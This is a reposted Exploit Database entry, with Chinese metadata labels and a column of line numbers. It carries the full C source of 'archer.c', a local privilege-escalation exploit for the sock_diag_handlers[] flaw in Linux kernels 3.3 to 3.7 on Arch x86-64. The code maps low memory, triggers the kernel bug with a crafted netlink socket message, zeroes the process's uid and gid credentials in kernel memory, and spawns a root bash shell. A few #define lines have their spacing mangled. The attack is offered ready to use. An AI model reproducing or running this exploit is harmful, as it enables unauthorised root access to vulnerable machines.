Linux Kernel 3.3.x < 3.7.x (Arch Linux x86-64) - 'sock_diag_handlers[]' Local Privilege Escalation (1)

Exploit Database
106 阅读

作者： sd

日期： 2013-02-27
类别：
- local
平台：
- linux_x86-64
来源：https://www.exploit-db.com/exploits/24555/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

// archer.c

//

// 2012 sd@fucksheep.org

//

// Works reliably against x86-64 3.3-3.7 arch.

//

// Tested against:

//

// Linux XXX 3.3.1-1-ARCH #1 SMP PREEMPT Tue Apr 3 06:46:17 UTC 2012 x86_64 GNU/Linux

// Linux XXX 3.4.7-1-ARCH #1 SMP PREEMPT Sun Jul 29 22:02:56 CEST 2012 x86_64 GNU/Linux

// Linux XXX 3.7.4-1-ARCH #1 SMP PREEMPT Mon Jan 21 23:05:29 CET 2013 x86_64 GNU/Linux

// ...

#include <assert.h>

#define JUMP0x0000100000001000LL

#define BASE0x380000000

#define SIZE0x010000000

#define KSIZE0x2000000

static long ugid;

void patch_current() {

int i,j,k;

char *current = *(char**)(((long)&i) & (-8192));

long kbase = ((long)current)>>36;

for (i=0; i<4000; i+=4) {

long *p = (void *)&current[i];

int *t = (void*) p[0];

if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue;

for (j=0; j<20; j++) {

for (k = 0; k < 8; k++)

if (((int*)&ugid)[k%2] != t[j+k]) goto next;

for (i = 0; i < 8; i++) t[j+i] = 0;

for (i = 0; i < 10; i++) t[j+9+i] = -1;

return;

next:;}

}

}

int main()

{

long u = getuid();

long g = getgid();

int i, f = socket(16,3,4);

static int n[10] = {40,0x10014,0,0,45,-1};

assert(mmap((void*)(1<<12), 1<<20, 3, 0x32, 0, 0)!=-1);

setresuid(u,u,u); setresgid(g,g,g);

ugid = (g<<32)|u;

memcpy(1<<12, &patch_current, 1024);

for (i = 0; i < (1<<17); i++) ((void**)(1<<12))[i] = &patch_current;

send(f, n, sizeof(n), 0);

setuid(0);

return execl("/bin/bash", "-sh", 0);

}